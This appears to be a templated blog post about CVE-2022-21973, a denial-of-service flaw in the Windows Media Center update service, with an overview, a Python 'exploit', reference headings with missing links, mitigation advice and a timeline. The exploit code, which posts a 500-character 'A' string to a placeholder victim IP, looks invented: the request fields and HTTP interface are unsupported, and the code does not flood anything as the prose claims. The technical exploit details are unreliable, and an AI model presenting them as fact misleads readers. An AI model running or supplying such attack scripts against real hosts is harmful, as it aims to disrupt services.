The Common Vulnerabilities and Exposures (CVE) database has recently listed a new vulnerability affecting Windows Media Center (WMC): CVE-2022-21973. This issue targets the WMC update service, causing a Denial of Service (DoS) attack. This long read post aims to break down the code, original references, and exploit details comprehensively, using simple American English for better understanding.

Overview

The CVE-2022-21973 vulnerability resides in the Windows Media Center Update process, allowing potential attackers to exploit the system and cause serious disruptions. If successfully exploited, it can lead to Denial of Service (DoS) attacks, rendering the application useless for users.

Exploit Details

The root cause of CVE-2022-21973 vulnerability lies in the improper handling of input data by WMC Update service. An attacker can force the system to consume excessive resources by sending specially-crafted requests to the vulnerable service, which causes the target machine to crash or become unresponsive.

A basic example of the exploit code is shown below

import requests

target = "http://<victim_ip>:<port>";
payload = "A" * 500

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
}

data = {
    "MediaCenterID": "1",
    "UpdateVersion": payload
}

response = requests.post(target, headers=headers, data=data)

if response.status_code == 200:
    print("Exploit sent successfully.")
else:
    print("An error occurred while sending the exploit.")

This Python code uses the requests library to send malicious HTTP POST requests. It floods the WMC Update service with a large payload, exploiting the vulnerability and causing a Denial of Service attack.

The CVE database entry for CVE-2022-21973 can be found at:

CVE-2022-21973 - MITRE

For the complete advisory from Microsoft about the vulnerability, check this source

Microsoft Security Advisory

The National Vulnerability Database (NVD) entry

NVD - CVE-2022-21973

Mitigation Measures

Microsoft has acknowledged the existence of the vulnerability in its WMC software and has since released a security update to address the issue. It is highly recommended for users to apply the supplied security update as soon as possible to mitigate the risk and prevent potential DoS attacks.

In case the security update cannot be applied immediately, users are advised to enforce stricter firewall rules and disable unnecessary network connections to the Windows Media Center. Moreover, it's wise to limit access to the WMC Update process to trusted users and hosts only.

Conclusion

CVE-2022-21973 is a significant vulnerability that affects a large number of Windows Media Center users. Attackers can leverage this critical weakness to cause DoS attacks, leading to disrupted services and possibly wider system compromises. Be informed, stay vigilant, and make sure to apply the necessary security updates and protective measures to safeguard against CVE-2022-21973 and maintain the security of your systems and data.

Timeline

Published on: 03/09/2022 17:15:00 UTC
Last modified on: 03/14/2022 13:52:00 UTC